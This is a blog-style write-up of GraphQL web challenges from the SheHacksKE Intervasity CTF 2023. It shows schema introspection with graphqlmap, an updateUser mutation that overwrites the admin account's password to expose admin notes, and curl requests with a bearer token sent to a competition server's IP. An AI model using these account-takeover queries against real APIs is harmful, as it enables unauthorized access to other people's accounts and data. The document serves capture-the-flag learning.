SheHacksKE Intervasity CTF 2023 Web Writeups

image

  • On friday the 22nd of September 2023 I had an opportunity to take part in the Annual Intervasity CTF from SheHacksKE with some friends from fr334aks under the alias “Seekers” which was partly online and also onsite at USIU Africa, We ended up winning 🥇 beating atleast other 80 teams that had atleast a single solve in the CTF

Graph1

image

  • This was a fairly easy challenge, all that was required of us was to query the flag using the GetFlag query that would fetch the flag from the Flagtable.

image

Base64 decoding the encoded strings gives the flag :)

Graph2

image

Spent sometime here as i haven’t solved alot of graphql challenges before, but in the end it was worth it, The challenge as the description said is for one to fetch or retrieve the hidden note, This hidden note probably belonged to an admin. I copied the Introspection Query from Graphql voyager to get a better understanding of the queries, available relationships etc.

image

I also used graphqlmap to gather more information as well, including mutations and potential injection points or queries that I missed.

image

image

what I tried and failed

  • Creating a User with user id 1 ❌
  • Forging the Session Key (Authentication bearer) to include isAdmin user property as True ❌
  • Creating a User with isAdmin user property as True ❌
  • Modifying The Note with ID 1 to any title and hence be able to read the new note ❌

What worked

  • Modify User with ID 1 to our controlled password (?) and return the current data along with the admin notes ✔️

Solution


GraphQLmap > dump_via_fragment
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)

00: Query
        findNote[]: id (Int!), 
        userNotes[Notes]: 
        getusers[User]: 
        getFlag[FlagTable]: 
01: Notes
        id[ID]: 
        title[]: 
        body[]: 
        userId[]: 
        user[]: 
05: User
        id[ID]: 
        firstName[]: 
        lastName[]: 
        isAdmin[]: 
        email[String]: 
        password[]: 
        notes[Notes]: 
07: FlagTable
        id[ID]: 
        flag[]: 
08: Mutations
        addNote[]: body (String!), title (String!), 
        (?) mutation{addNote(body:"string",title:"string"){ result }}
        updateNote[]: body (String!), noteId (Int!), title (String!), 
        (?) mutation{updateNote(body:"string",noteId:1,title:"string"){ result }}
        deleteNote[]: id (Int!), 
        (?) mutation{deleteNote(id:1){ result }}
        createUser[]: email (String!), firstName (String!), lastName (String!), password (String!), 
        (?) mutation{createUser(email:"string",firstName:"string",lastName:"string",password:"string"){ result }}
        logIn[]: email (String!), password (String!), 
        (?) mutation{logIn(email:"string",password:"string"){ result }}
        updateUser[]: id (Int!), lastName (String!), password (String!), 
        (?) mutation{updateUser(id:1,lastName:"string",password:"string"){ result }}
09: addNote
        ok[]: 
        note[]: 
10: updateNote
        ok[]: 
        note[]: 
11: deleteNote
        ok[]: 
        note[]: 
12: createUser
        ok[]: 
        user[]: 
13: logIn
        ok[]: 
        tokens[]: 
14: Token
        id[ID]: 
        user[]: 
        accessToken[]: 
        refreshToken[]: 
15: updateUser
        ok[]: 
        user[]: 
16: __Schema
17: __Type
19: __Field
20: __InputValue
21: __EnumValue
22: __Directive

As you can see on the updateUser mutation graphqlmap provided us with a sample query that we can use to update user info as

 updateUser[]: id (Int!), lastName (String!), password (String!), 
        (?) mutation{updateUser(id:1,lastName:"string",password:"string"){ result }}`

I later modified this query to

mutation {
  updateUser(id: 1, lastName: "Admin", password: "admin") {
    ok
    user {
      id
      email
      firstName
      lastName
      password
      notes {
        id
        title
        body
      }
    }
  }
}

which can be defined as


updateUser
  ok[]: 
  user[]:
    id[]
    email[]
    firstName[]
    lastName[]
    password[]
    notes[]:
      id[]
      title[]
      body[]

image

  • Decode for full flag

Misc

createuser

curl -X POST -H "Content-Type: application/json" --data '{ "query": "mutation { createUser(firstName: \"NewUser\", lastName: \"Admin\", email: \"newuser@admin.com\", password: \"EasyPassword123\", isAdmin: true) { ok user { id firstName lastName email isAdmin } } }" }' http://128.199.47.43:5000/graphql

login

curl -X POST \
-H "Content-Type: application/json" \
--data '{ "query": "mutation { logIn(email: \"koimet@koimet.com\", password: \"koimet") { ok tokens { accessToken refreshToken } } }" }' \
http://128.199.47.43:5000/graphql

GetUsers

curl -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY5NTM3NTA1NCwianRpIjoiMDU3ZjY3YWYtNGRlYS00MWYzLTgwMTMtYmVkMDg3YTg0Yjc3IiwidHlwZSI6ImFjY2VzcyIsImlkZW50aXR5IjoibmV3dXNlckBhZG1pbi5jb20iLCJuYmYiOjE2OTUzNzUwNTQsImV4cCI6MTY5NTM3NTk1NH0.g0SJZtVyKQfdv-vlZJc8zfM9F4HRN00bMivuqn-RNe8" --data '{ "query": "{ getusers { firstName lastName isAdmin email password notes { id title body userId } } }" }' http://128.199.47.43:5000/graphql

userNotes

curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY5NTM3NTA1NCwianRpIjoiMDU3ZjY3YWYtNGRlYS00MWYzLTgwMTMtYmVkMDg3YTg0Yjc3IiwidHlwZSI6ImFjY2VzcyIsImlkZW50aXR5IjoibmV3dXNlckBhZG1pbi5jb20iLCJuYmYiOjE2OTUzNzUwNTQsImV4cCI6MTY5NTM3NTk1NH0.g0SJZtVyKQfdv-vlZJc8zfM9F4HRN00bMivuqn-RNe8" \
--data '{ "query": "{ userNotes { id title body userId user { firstName lastName } } }" }' \
http://128.199.47.43:5000/graphql

References

âš« hacktricks âš« ctftime